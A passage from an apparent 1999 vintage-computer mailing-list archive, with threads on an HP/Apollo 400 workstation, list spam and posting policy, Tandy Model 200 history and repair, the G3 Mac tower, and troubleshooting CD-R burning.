1989. It's mostly like an updated Apollo DN-series machine, that uses a few of the same parts, most of the same ideas, and SCSI disks. It'll run Apollo's Domain/OS with the Domain keyboard, or HP's HP-UX (up to 9.05, the last version to support Motorola CPUs) with an HIL keyboard. If it's an actual 400 that hasn't been upgraded, it's a 50 MHz 68030 processor, with 68882 FPU. The ISA slot is limited to which cards it will take (functionality is cut down so it's not a true ISA anymore.. just enough to run the Apollo Token Ring card, or maybe the 3C505 ethernet). The memory subsystem supports up to 16 MB per slot. If you can get the part number off the memory cards, I can tell you what their capacity is. The part number should start with something like 98229- or the letter 'A'. Approximate date of manufacture is likely ca. 1991. ok r. From yakowenk at cs.unc.edu Sun Jan 31 16:25:34 1999 From: yakowenk at cs.unc.edu (Bill Yakowenko) Date: Sun Feb 27 18:40:42 2005 Subject: Daily Laugh! Message-ID: <199901312225.RAA07744@dgs.cs.unc.edu> On Fri, 29 Jan 1999, Derek Peschel wrote: ] > Um, Derek, you're gonna unsubscribe this, right? ] ] I just did, and they weren't subscribed in the first place. ] ] I wonder if I can change the configuration so that only subscribed people ] can send things to the list? Is that really a good idea? ] ] -- Derek One possible problem is that I often stumble across somebody needing advice or having some interesting thing available, and it often tell them just to send mail to this list. Heck, I just got through telling this to the guy maintaining the US EPA computer recycling web page. He replied, agreeing to mention it. (But it looks like he has not yet done it.) Here's the (hideous) URL: http://epainotes1.rtpnc.epa.gov:7777/r10/owcm.nsf/d60e13abe847c4cb882564de0071f735/0b492e2e35a1016e88256517007681dd?OpenDocument Seems like the choice is between being open to spam, being less friendly to outsiders, or requiring constant work by a moderator. How about making this list open to posting only from subscribers, and having some secondary list address (ie: another list) that is left totally open, and anything interesting gets forwarded from that to the real list. Only one person at a time need subscribe to the secondary list, and act as the forwarder. So Derek wouldn't get overworked, and we could take turns on "door-duty" just by changing who subscribes to that. It's clunky, but it's the best idea I've had in the past sixty seconds. :-) Bill. From nerdware at laidbak.com Sun Jan 31 16:41:03 1999 From: nerdware at laidbak.com (Paul Braun) Date: Sun Feb 27 18:40:42 2005 Subject: Need help on old Tandy stuff -- Allison? Anyone else? Message-ID: <199901312238.QAA08461@garcon.laidbak.com> Hi, group. I'm going to be putting up my annual exhibit at the local library and I need some help with my facts so I don't screw anything up. I have two display cases to work with. One will be tracing the development of the portable pc, and will include the usual Compaq Sewing Machine, a Compaq III, and a Compaq LTE286; a Kaypro II, an Osborne, a Mac Portable (non- backlit), IBM Convertible, and a Tandy M200 and Pocket Computer. (I'm really trying to get an M100, but all the reporters I know who still use them would rather have their fingers removed first before they'd give 'em up.......) Can anyone give me the original release dates and some tech specs on the 200 and the Pocket? The 200 has the parallel printer card, the external floppy drive, all the books, and several floppies with stuff on them. The Pocket is the original model, and has software, all the docs, the original boxes, the original carrying case, RS-232 interface and the neat little color plotter/printer. Any info, anecdotes, whatever would be greatly appreciated and acknowledged in the display. Thanks. Paul Braun NerdWare -- The History of the PC and the Nerds who brought it to you. nerdware@laidbak.com www.laidbak.com/nerdware From yakowenk at cs.unc.edu Sun Jan 31 16:45:49 1999 From: yakowenk at cs.unc.edu (Bill Yakowenko) Date: Sun Feb 27 18:40:42 2005 Subject: Daily Laugh! Message-ID: <199901312245.RAA07944@dgs.cs.unc.edu> On Fri, 29 Jan 1999, Sam Ismail wrote: ] On Fri, 29 Jan 1999, Derek Peschel wrote: ] > I wonder if I can change the configuration so that only subscribed people ] > can send things to the list? Is that really a good idea? ] ] Yes and no. ] Yes because it would eliminate the riff raff postings we get every now and ] then (pet peeve). ] No because its really convenient for me to forward messages I get on a ] different e-mail account (which is not subscribed) from people wanting to ] give away or sell vintage computers. It would be a big pain in the ass if ] I had to first forward the message to my dastar account and then forward ] it from there to ClassicCmp. You could subscribe from that address, and then tell the list processor to postpone sending you anything there, and never cancel the postpone order. I *think* you could still post from that address. Of course, the list processor may eventually explode, holding back all that postponed mail... (Would it actually hold copies of all that, or just drop it?) ] Sellam Alternate e-mail: dastar@siconic.com ] ------------------------------------------------------------------------------ ] Always being hassled by the man. ] ] Coming in 1999: Vintage Computer Festival 3.0 ] See http://www.vintage.org/vcf for details! ] [Last web site update: 01/15/99] Cheers, Bill. From yakowenk at cs.unc.edu Sun Jan 31 16:54:18 1999 From: yakowenk at cs.unc.edu (Bill Yakowenko) Date: Sun Feb 27 18:40:42 2005 Subject: TI99: WP and PC Message-ID: <199901312254.RAA08006@dgs.cs.unc.edu> On Fri, 29 Jan 1999, Sam Ismail wrote: Subject: Re: TI99: WP and PC ] On Fri, 29 Jan 1999, Allison J Parent wrote: ] > WP... workspace pointer. back when the 9900 was new registers (memory) ] > really ate up chip space and TI had an archetecture in the 990 minicomputer ] > where register were in memory instead of in the CPU. So the WP is a pointer ] > that points to a block of 16 locations in ram that are addressed in ] > instructions as R0 through R15. ] ] Wow! What a cool architecture! That would be a very handy feature to ] have in any processor. Except for a significant penalty in register access time, maybe. Could be worth it if you expected lots of context switches. Sounds to me like the 1802. Is there any shared history between them? Were the 1802 designers consciously influenced by the TI design, or was it derived again from scratch? Hmm, 1802's were used in satellites, right? Do satellite apps need lots of context switching? ] Sellam Alternate e-mail: dastar@siconic.com ] ------------------------------------------------------------------------------ ] Always being hassled by the man. ] ] Coming in 1999: Vintage Computer Festival 3.0 ] See http://www.vintage.org/vcf for details! ] [Last web site update: 01/15/99] Cheers, Bill. From ard at p850ug1.demon.co.uk Sun Jan 31 15:09:00 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:42 2005 Subject: Atari 1050 mods? In-Reply-To: from "R. Stricklin" at Jan 30, 99 11:35:49 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 365 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990131/e966bd49/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 31 15:12:55 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:42 2005 Subject: Some finds and a few questions In-Reply-To: <199901310517.XAA25656@trailingedge.com> from "David Williams" at Jan 30, 99 11:17:02 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 996 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990131/96e7bcaf/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 31 15:19:06 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:42 2005 Subject: vacuum tube computer In-Reply-To: <3.0.6.16.19990131112432.23df040e@earthlink.net> from "Dave Dameron" at Jan 31, 99 11:24:32 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 972 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990131/e6dd1ec0/attachment.ksh From gram at cnct.com Sun Jan 31 17:06:19 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:42 2005 Subject: Russian Computer Museum References: <000501be4d5d$99377b80$20f438cb@a.davie> Message-ID: <36B4E1EB.F1EDF177@cnct.com> Andrew Davie wrote: > > Re: translation > Well, I'm self-taught since starting my Museum - and can read most technical > terms and understand what many documents are about. I may be a bit slow, > but I get there. The good thing about Russian is that many words (computer, > program, fluorescent, etc) are pronunced pretty much the same, and once you > know the sound of the letters you're halfway to reading Russian. It's the > odd words that get me, and for that my Russian/English dictionary does fine. > I can also recommend a program "ParsWin" which does translations both ways. Once you knou the alphabet, the technical parts are easy, since there are no native Russian words for anything above the level of plowing a turnip field. Everything else is from German, French or English converted to Cyrillic spelling. The grammar is a bitch, but it's not a high priority in technical documentation. In any language. (I can read Russian technical stuff, but unlike the romance and germanic languages, I can't order a beer without a dictionary with a large grammar component -- my father-in-law is slowly teaching me, but at past eighty he's teaching me more Lithuanian than Russian, and the words for seducing a girl in either language is probably beyond my remaining learning curve -- good thing I'm married and don't need to sweat the fine points). -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From jpero at cgocable.net Sun Jan 31 17:16:56 1999 From: jpero at cgocable.net (jpero@cgocable.net) Date: Sun Feb 27 18:40:42 2005 Subject: Daily Laugh! In-Reply-To: <199901312245.RAA07944@dgs.cs.unc.edu> Message-ID: <199901312314.SAA26291@mail.cgocable.net> Date sent: Sun, 31 Jan 1999 17:45:49 -0500 Send reply to: classiccmp@u.washington.edu From: Bill Yakowenko To: "Discussion re-collecting of classic computers" Subject: Re: Daily Laugh! One more if anyone had gotten like this for me... I got the "daily laugh" spam by 2 paths. Direct to my email address and via that classiccmp elist. Remember, sometimes few spams happens when you actually surf the 'net! I had no significent spams until I started hitting new websites and bang! I got few oddball spams! What about yours also? Jason D. From jruschme at exit109.com Sun Jan 31 17:18:57 1999 From: jruschme at exit109.com (John Ruschmeyer) Date: Sun Feb 27 18:40:42 2005 Subject: OT: New G3 Mac Tower (was: Re: Instant classic) In-Reply-To: from "Zane H. Healy" at "Jan 31, 99 11:57:06 am" Message-ID: <199901312318.SAA04619@crobin.home.org> > Sam Wrote: > >On Sat, 30 Jan 1999, Max Eskin wrote: > > > >> > Have you all seen the latest G3 PowerMac on the TV ads? Instant classic! > >> > > I hate to say it, but this shows you're not a SERIOUS Mac-Head. I can live > without the floppy, but not having serial ports on the Professional Model > is CRIMINAL! Just where am I supposed to plug that $500 Graphics Tablet I > bought three months ago? At least they included a ADB port, which is > probably their way of admitting that the keyboard and mouse that is ships > with SUCK! Nope, ADB was an afterthought to support one or more of the monitors. Use of an ADB KB and/or mouse is apparently not recommended and there have been stories of problems related to the use of same. > Things they did Right: > 10/100Base-T (I had to add 100Base-T to my 8500/180) > Top of the line model has UW SCSI > ADB Port > Good Graphics Card with plenty of memory > USB > > Things they did Wrong: > No Floppy (Yes, if you think back I said this was good for the iMac) Probably less of a deal than it was with the iMac (a home machine). Pro users were already long past the point when the minimum usable removable storage was a Zip-100. > No Serial Ports <-- Someone really should be shot! Someone buying > this > to replace a high end system is likely to have > some expensive peripherals they don't want to have > to replace or buy a serial card for. Personally, I'm not as worried about periphs like tablets, but ones like modems. (Modem option for G3 has not shipped yet) > Undecided: > Firewire New standard... same thing people said about SCSI and USB. > The "New Look" <-- For a professional system it doesn't look very > professional, but then I guess they're targeting > the > art market. I think that's it. I saw a page where someone had painted one grey... very striking. Clearly, the designers assume that the target audience "thinks different" and does not need to worry about fitting in to an office, etc. <<>> From healyzh at aracnet.com Sun Jan 31 17:56:24 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:42 2005 Subject: OT: New G3 Mac Tower (was: Re: Instant classic) In-Reply-To: <199901312318.SAA04619@crobin.home.org> References: from "Zane H. Healy" at "Jan 31, 99 11:57:06 am" Message-ID: John Ruschmeyer wrote: >Nope, ADB was an afterthought to support one or more of the monitors. Use >of an ADB KB and/or mouse is apparently not recommended and there have >been stories of problems related to the use of same. Oh. Well, I think you just helped me to make up my mind. Looks like my 8500/180 will be getting a accelerator card, instead of being replaced. If they think I'll give up a "Apple Extended Keyboard II" for a crappy USB keyboard they're CRAZY! I still need to consider how long the OS will continue to support my system. MacOS X Server only supports G3 systems (not upgraded ones), the question is what will MacOS X itself support. >Probably less of a deal than it was with the iMac (a home machine). >Pro users were already long past the point when the minimum usable >removable storage was a Zip-100. True, a floppy isn't really the right answer, but a LS120 would be better than a ZIP drive as it would allow the reading of those old floppies. >Personally, I'm not as worried about periphs like tablets, but ones like >modems. (Modem option for G3 has not shipped yet) Well, I've got 3 serial devices; Modem, HP 5MP, and Tablet. I had to move the printer to a Ethernet-to-Localtalk converter when I got the tablet. I'm not worried about the lack of Modem, I only use the one on the Mac for emergencies when my normal link to the net is down or if I need to dial into work and my main UNIX box isn't up. >> Undecided: >> Firewire > >New standard... same thing people said about SCSI and USB. USB yes, EIDE yes, but Mac's have traditionally been SCSI. I'm undecided because I've yet to see any use for it. However, when the iMac came out there wasn't much use for USB, now look at the Market. >Clearly, the designers assume that the target audience "thinks different" >and does not need to worry about fitting in to an office, etc. I'm more worried about it clashing with my PDP-11's, OpenVMS systems, and UNIX systems :^) Of course I am crazy enough to consider using a iMac for a System Console for a PDP-11/44 :^) Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From jax at tvec.net Sun Jan 31 17:59:15 1999 From: jax at tvec.net (jax) Date: Sun Feb 27 18:40:42 2005 Subject: Daily Laugh! In-Reply-To: <199901312314.SAA26291@mail.cgocable.net> References: <199901312245.RAA07944@dgs.cs.unc.edu> Message-ID: <3.0.6.32.19990131175915.007aca30@pop.tvec.net> At 06:16 PM 01/31/1999 -0500, you wrote: >Date sent: Sun, 31 Jan 1999 17:45:49 -0500 >Send reply to: classiccmp@u.washington.edu >From: Bill Yakowenko >To: "Discussion re-collecting of classic computers" >Subject: Re: Daily Laugh! > >One more if anyone had gotten like this for me... > >I got the "daily laugh" spam by 2 paths. Direct to my email address >and via that classiccmp elist. > >Remember, sometimes few spams happens when you actually surf >the 'net! I had no significent spams until I started hitting new >websites and bang! I got few oddball spams! > >What about yours also? > >Jason D. > Hi Jason, You might look into this: http://lpwa./file/project_index.html It's really a Bell Labs/Lucent proxy server for webheads. All your TCP/IP packets are stripped of your fingerprint and the system can handle passwords, spam that's directed to you AND legitamite responses. VERY highly recommended. The "target-revokable" e-mail stuff is something I wish I had thought of. jax@tvec.net From musicman38 at mindspring.com Sun Jan 31 19:08:16 1999 From: musicman38 at mindspring.com (Phil Clayton) Date: Sun Feb 27 18:40:42 2005 Subject: CD-RW Drive References: <199812272114.AA01822@world.std.com> Message-ID: <36B4FE80.6165703F@mindspring.com> Sorry I know this is not Classic Computer material, I am hopeing someone will respond to my question privately.. My goal is to archive my old DOS & CP/M (In DOS readable format) for future use.. I just purchased an Acer CDROM Read/Writable drive.. I have wasted numerous CD-R's trying to write files to it.. I can get the cd drive to burn the CD & read from it, however it will not read on another standard CD drive. I am now using a CD-RW disk while trying to resolve this problem so not to waist the CD-R's, however again it will format the CD write that data to it, and read fine on the CD-RW Drive fine, but will not read back on a standard CD drive.. I am using Adaptec Easy CD Creator and Adaptec Direct CD software.. Can anyone help me on this problem.. Thanks.. Phil... From cmcmanis at freegate.com Sun Jan 31 19:24:34 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:42 2005 Subject: CD-RW Drive In-Reply-To: <36B4FE80.6165703F@mindspring.com> References: <199812272114.AA01822@world.std.com> Message-ID: <4.1.19990131172305.00a2eb90@208.226.86.10> As you've just learned, CD-RW is not the same as CD-R. CD-R = CD "Recordable" CD-RW = CD "ReWritable" CDROM = read only. Use a CD-R drive to write CDs that a CDROM drive can read. (some drives will do both CD-R and CR-RW but these are labelled as such. --Chuck From marvin at rain.org Sun Jan 31 19:23:29 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:42 2005 Subject: CD-RW Drive References: <199812272114.AA01822@world.std.com> <36B4FE80.6165703F@mindspring.com> Message-ID: <36B50211.5AD95FB5@rain.org> Phil Clayton wrote: > > I can get the cd drive to burn the CD & read from it, however it will not read > on another standard CD drive. My understanding is that the software can be configured for either RW or R only, and the RW format is only readable in a RW drive. Sounds like you are writing in the wrong mode. From jpero at cgocable.net Sun Jan 31 19:30:47 1999 From: jpero at cgocable.net (jpero@cgocable.net) Date: Sun Feb 27 18:40:42 2005 Subject: CD-RW Drive In-Reply-To: <4.1.19990131172305.00a2eb90@208.226.86.10> References: <36B4FE80.6165703F@mindspring.com> Message-ID: <199902010128.UAA22282@mail.cgocable.net> Date sent: Sun, 31 Jan 1999 17:24:34 -0800 Send reply to: classiccmp@u.washington.edu From: Chuck McManis To: "Discussion re-collecting of classic computers" Subject: Re: CD-RW Drive > As you've just learned, CD-RW is not the same as CD-R. > CD-R = CD "Recordable" > CD-RW = CD "ReWritable" > CDROM = read only. > > Use a CD-R drive to write CDs that a CDROM drive can read. (some drives > will do both CD-R and CR-RW but these are labelled as such. > --Chuck > > Don't yours happen to be Acer CRW-6202 or like? 1. Successful burn of CDR discs requires everything turned off except for this s/w burner because one miss is enough to ruin or make it unreadable in some drives. 2. Are you doing a multi-session type? Many older cd drives spat out this. Better do single-session. 3. Don't bother the 80min CDR discs, use 74min gold discs by Sony, KAO and high quality ones. 4. Defrag all partitions. 5. No bumps or excessive vibrations to that cdrw drive. We have no problems using cds from that inexpensive Acer burner on any drives including the old crusty 2x, 1x drives. :-) Right now I can see this cdrw drive IDE model around 390 dollars at my part-time work at computer store. Jason D. From jpl15 at netcom.com Sun Jan 31 19:31:34 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:40:42 2005 Subject: Early Computing in the UK Message-ID: Of possible interest to the List, especially to our members in the Greenwich Time Zone... I have aquired two books published in England in the 50's... one is buried in a stack (I am building more shelves for more books... arrgh) but is a general treatise on the state of the art from a very technical stance. It has many great photos. The other book came from yesterday's TRW haul... it is "ELECTRONIC COMPUTERS Principles and Applications" by T.E. Ivall published by Iliffe & Sons, Second Ed of 1960. (two prev: 1956, 7) This book covers Analogue and Digital machines and is packed with many plates, pictures, and diagrams... it has several views of the ACE, the TRIDENT analogue flight simulator, several Ferranti and Creed devices, etc., etc. I have made a picture gallery on my web site and I have now got to scan a bunch of these things in... a project that will take only about a long weekend to complete.... sometime in 2015 if my best estimates are correct. ;) But I'd like to get this stuff up, because it tends to balance the Americo-centric focus of foundation computing. Remember who had the first actual 'Von Neuman-ish' machine in service..... Also, in one of the manuals, I have a large model/feature/config chart of all known machines from the EDSAC up to about 1966... from all manufacturers, Germany, Japan, France, Switzerland, etc. But its big.... oh well, soon! Cheerz John From gram at cnct.com Sun Jan 31 19:51:20 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:42 2005 Subject: Need help on old Tandy stuff -- Allison? Anyone else? References: <199901312238.QAA08461@garcon.laidbak.com> Message-ID: <36B50898.A831C844@cnct.com> Paul Braun wrote: > > Hi, group. > > I'm going to be putting up my annual exhibit at the local library and I need some > help with my facts so I don't screw anything up. > > I have two display cases to work with. One will be tracing the development of > the portable pc, and will include the usual Compaq Sewing Machine, a Compaq > III, and a Compaq LTE286; a Kaypro II, an Osborne, a Mac Portable (non- > backlit), IBM Convertible, and a Tandy M200 and Pocket Computer. (I'm really > trying to get an M100, but all the reporters I know who still use them would > rather have their fingers removed first before they'd give 'em up.......) > > Can anyone give me the original release dates and some tech specs on the > 200 and the Pocket? The 200 has the parallel printer card, the external floppy > drive, all the books, and several floppies with stuff on them. The Pocket is the > original model, and has software, all the docs, the original boxes, the original > carrying case, RS-232 interface and the neat little color plotter/printer. The first TRS-80 Pocket Computer, AKA the PC-1, was announced along with the TRS-80 Model 3 and the Color Computer (I) in 1980, I think about August 3rd, the third anniversary of the orginal TRS-80 later called the Model One. The Model 200 showed up in 1985, I'm pretty sure the first half -- I didn't pay that much attention as it didn't impress me the way that the original 100 did (though it didn't underwhelm me the way the 102 did about the same time). There was a printer port built into the 200 from before its birth, no add-on card was required. I've got four 100s, I could rent you one. I can understand how those reporters are attached to them, I probably delivered 500 of them to the Los Angeles Times. Other RSCCs got the News and the Register, but I was the one in downtown LA. Pity I was just the CSR, so I didn't get any commission on the sales. During the '84 Olympics in LA, there was a severe run on AA batteries. Apparently reporters from all over the place were carrying the things. (I hardly ever left LA County that year. How would I know who else was selling the things -- Fort Worth never released the numbers?) -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From paulk at microsoft.com Sun Jan 31 19:45:32 1999 From: paulk at microsoft.com (Paul Kearns) Date: Sun Feb 27 18:40:42 2005 Subject: CD-RW Drive Message-ID: <8B57882C41A0D1118F7100805F9F68B50C178F15@RED-MSG-45> > I can get the cd drive to burn the CD & read from it, however it will not > read > on another standard CD drive. You can't read CD-RW's in (most) regular CD players. You'll have to keep burning coasters until it works right. Make sure the disc is "finalized"; that is, make sure you tell your CDR program that you're not going to write any more tracks to the disc (some programs also call this "closing" a disc). Normal CD players can't read a disc until it's been finalized. Also, You mentioned DirctCD. Most normal CD players can't read discs written using packet-writing technology -- you need to lay out an ISO 9660 image and blast the whole thing at once (or do it on the fly, which is just a risky way of writing everything at once). Someone also mentioned multi-session discs -- do avoid these, as the other poster recommended. > Thanks.. > Phil... Paul Kearns paulk@microsoft.com From paulk at microsoft.com Sun Jan 31 20:08:05 1999 From: paulk at microsoft.com (Paul Kearns) Date: Sun Feb 27 18:40:42 2005 Subject: CD-RW Drive Message-ID: <8B57882C41A0D1118F7100805F9F68B50C178F16@RED-MSG-45> > Also, You mentioned DirctCD. Most normal CD players can't read discs > written using packet-writing technology -- Bad form, replying to your own post, but I realized I should clarify this. Other CD /drives/ can read discs written using packet-writing, once they've been finalized, but packet-writing uses a different filesystem layout, so the operating system won't recognize them. Several CDR vendors, including Adaptec, provide drivers along with their packet-writing software, but typically only for Win95, Win98, NT, and sometimes Macintosh OS's. You won't be able to use such a disc from 16-bit DOS, Unix (probably), and other platforms. RSTS, I would think, is right out. > Paul Kearns > paulk@microsoft.com > From healyzh at aracnet.com Sun Jan 31 20:31:33 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:42 2005 Subject: CD-RW Drive In-Reply-To: <199902010128.UAA22282@mail.cgocable.net> References: <4.1.19990131172305.00a2eb90@208.226.86.10> <36B4FE80.6165703F@mindspring.com> Message-ID: >3. Don't bother the 80min CDR discs, use 74min gold discs by >Sony, KAO and high quality ones. I like the Verbatim Blue's. Except for one that had a spot on it of something that the laser couldn't punch through I've gotten no toasters. >4. Defrag all partitions. Most definitly, and ideally use SCSI, I have a pair of 2Gb SCSI HD's that are dedicated to burning CD's. Their in an external case and only turned on to back up to them, or burn a CD. Of course I've got my CD-R drive on a totally SCSI system. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From nerdware at laidbak.com Sun Jan 31 21:35:22 1999 From: nerdware at laidbak.com (Paul Braun) Date: Sun Feb 27 18:40:42 2005 Subject: One more thing, speaking of Tandy Message-ID: <199902010332.VAA10567@garcon.laidbak.com> I agree with you that the 200 isn't as impressive as the 100. The flip-up display, while possibly being a little easier to read, is just asking to be broken. A couple of years ago, when I was covering motorsports for a local radio station, I noticed that in the press room, amongst the guys with their fancy color multimedia laptops, at least 2 or 3 guys would be filing their stories on 100's. Built like a tank, and you don't have to try and hunt down a special litium battery in the middle of a race. Paul Braun NerdWare -- The History of the PC and the Nerds who brought it to you. nerdware@laidbak.com www.laidbak.com/nerdware From jpl15 at netcom.com Sun Jan 31 21:49:09 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:40:42 2005 Subject: Other UK early comp title Message-ID: Taking books from the various piles on the floor and putting them snuggly on their new shelves, I have encountered the other 50s UK computing book: "Automatic Digital Calculators" by Booth and Booth, Butterworths Scientific Publications, 1956 (2nd ed, 3rd reprinting) While it only has four plates, it is *full* of circuit diagrams, element descriptions, and much advanced maths :) in connection with the fundamentals of the devices. I am accumulating material for a marathon scanning session, as I said in the previous post on this subject. It's a stack about 2 meters high right now. Hmmmm.... Cheerz John From musicman38 at mindspring.com Sun Jan 31 22:18:07 1999 From: musicman38 at mindspring.com (Phil Clayton) Date: Sun Feb 27 18:40:42 2005 Subject: CD-RW Drive References: <199812272114.AA01822@world.std.com> <36B4FE80.6165703F@mindspring.com> Message-ID: <36B52AFF.3B004629@mindspring.com> Phil Clayton wrote: > My goal is to archive my old DOS & CP/M (In DOS readable format) for future > use.. > I have wasted numerous CD-R's trying to write files to it.. > I can get the cd drive to burn the CD & read from it, however it will not read > on another standard CD drive. Thanks everyone for the feedback, here is some more information: I have 2 cdroms installed in my WIndows 98 computer. An Acer CRW 6206A 2X write, 6X read (The one in question) and a Goldstar 8X standard CDROM, Both IDE.. I have tried several times to use the existing software, the problem seems in the final phase of the burn, in which the software finalizes the CD-R disk to be readable in any standard drive. Twice now it stopped short of finishing and give the error message, "Error, this disk will not be readable in a standard CD drive" It burns the CD-R just fine but seems not to be able to convert it to a usable format for standard CDdrives. The software even asks the question "Do you want this disk to be able to be read in standard CDROM drives" ? It does the final phase and then errors out.. Still works in the CDRW drive but not in a normal drive.. Also it does direct CDROM duplication and the same error happens, it duplicate the CDROM disk but in the final phase it stops short of finishing it.. Phil.... From kbd at ndx.net Sun Jan 31 22:24:21 1999 From: kbd at ndx.net (Kirk Davis) Date: Sun Feb 27 18:40:42 2005 Subject: Time to share a source - W.J.Ford Surplus In-Reply-To: Message-ID: <000001be4d9a$bd764660$0a00000a@oemcomputer> > Do you know how hard it is when somebody else decides to share your sacred > hunting ground? Ford is good for HP stuff, among others.... > Good point Doug. I *totally* agree. You know, if you want to give me a complete list of your sources - I'll be sure not to accidentally give them out... Kirk From zmerch at 30below.com Sun Jan 31 22:38:03 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:40:42 2005 Subject: Pro's & Con's of a Tandy 200... In-Reply-To: <36B50898.A831C844@cnct.com> References: <199901312238.QAA08461@garcon.laidbak.com> Message-ID: <3.0.1.32.19990131233803.0095d7d0@mail.30below.com> On or about 08:51 PM 1/31/99 -0500, Ward Donald Griffiths III was caught in a dark alley speaking these words: >The Model 200 showed up in 1985, I'm pretty sure the first half -- I >didn't pay that much attention as it didn't impress me the way that >the original 100 did (though it didn't underwhelm me the way the 102 >did about the same time). There was a printer port built into the >200 from before its birth, no add-on card was required. Dunno when they were *released* but the serial numbers on the 200 reflect when they were built - and the earliest one I've seen is January 1985. As the Tandy 200 was the first Model 'T' I owned, I am partial to it... but for more than just that reason. Having the arrow keys in a '+' arrangement and being "real" keys instead of the in-a-row chicklet keys to me is a *lot* easier to work with, the extra LCD real estate is nice, as is the fact that the screen is faster than the 100 as well... and the fact you don't need to crane your neck around on a flat table to see the screen. At least in my experience, the T200's screen is very sturdily made... mind you, mine's been thru the military, all over the US, and a trip to Germany on a military transport -- they're not gentle about luggage. I've seen very few that actually broke... and the ones that did were repairable. (I should know; I repaired them for others, but mine is still running strong). Typically what breaks on a T200 if it gets dropped is not the clamshell hinges, or the ribbon cable, or anything else; it's the 4 posts in the corners of the housing around the LCD. The LCD itself is very tough. Just rough up the posts and the post connection points with a dremel tool (if you can cut shallow notches in the plastic, it will help the bonding process), apply a decent amount of 5 minute epoxy (no, superglue is *not* an option) and hold steady until the epoxy starts to cure. Allow the epoxy ample time to fully cure (~24 hours), reassemble the 200, and you're on the road again! The main bummer about the T200: not able to handle 32K contiguous memory in at least 1 bank, to make it easier to save large proggies to disk if necessary. (still haven't figured out how to xfer Romulus Chess from tape to TPDD2... proggie & DOS won't fit at the same time! :-/ ) Just my $0.02, Roger "Merch" Merchberger ===== Roger "Merch" Merchberger -- zmerch@30below.com SysAdmin - Iceberg Computers ===== Merch's Wild Wisdom of the Moment: ===== Sometimes you know, you just don't know sometimes, you know? From jrice at texoma.net Sun Jan 31 22:28:33 1999 From: jrice at texoma.net (James L. Rice) Date: Sun Feb 27 18:40:42 2005 Subject: CD-RW Drive References: <199812272114.AA01822@world.std.com> <36B4FE80.6165703F@mindspring.com> <36B52AFF.3B004629@mindspring.com> Message-ID: <36B52D71.30A6607E@texoma.net> I use an old (1994 vintage) Pinnacle Micro CDR drive, 2x read 2x record. I feed it with a AV rated SCSI drive. The AV drive doesn't do a thermal recalibration during read-write sessions. Standard drives do recal periodically and if this happens during a CD burn...instant coaster. Most drives seem to be able to read my disks, only some 36 and 40x types that are not multi-read spit them out. I use the Pinnacle Micro RCD-1000 cdr drive, Adaptec EasyCD Creator Pro ver 3.5, a Connor 7200rpm AV drive, an Adaptec 2940 pci scsi host adaptor in a Pentium Pro 200 system, 128mb ram, Windows 95 (OEM A) version. I usually log off the network before burning a disc. I use the cheap green-gold disks that Frys sells in a 5 pack for $4.95. I always build a ISO image and write in one session, finallizing the disk. James Phil Clayton wrote: > > Phil Clayton wrote: > > > My goal is to archive my old DOS & CP/M (In DOS readable format) for future > > use.. > > I have wasted numerous CD-R's trying to write files to it.. > > I can get the cd drive to burn the CD & read from it, however it will not read > > on another standard CD drive. > > Thanks everyone for the feedback, here is some more information: > I have 2 cdroms installed in my WIndows 98 computer. > An Acer CRW 6206A 2X write, 6X read (The one in question) > and a Goldstar 8X standard CDROM, Both IDE.. > I have tried several times to use the existing software, the problem seems in > the final phase of the burn, in which the software finalizes the CD-R disk > to be readable in any standard drive. Twice now it stopped short of finishing > and give the error message, "Error, this disk will not be readable in a standard > CD drive" > It burns the CD-R just fine but seems not to be able to convert it to a > usable format for standard CDdrives. > The software even asks the question "Do you want this disk to be able to be read > in standard CDROM drives" ? It does the final phase and then errors out.. Still > works in the CDRW drive but not in a normal drive.. > Also it does direct CDROM duplication and the same error happens, it duplicate the > CDROM disk but in the final phase it stops short of finishing it.. > Phil.... -- ICQ 2286850 Home Page http://home.texoma.net/~jrice Classic Comp Page at http://home.texoma.net/~jrice/classiccomp.html Robotics Page at ttp://home.texoma.net/~jrice/hobbies.html All pages under construction! From donm at cts.com Sun Jan 31 22:53:55 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:42 2005 Subject: Looking for boot disks for Gould K450 Logic Analyzer (fwd) Message-ID: If anyone has an inkling of how to help this chap, please reply directly to him. I'd appreciate a Cc if 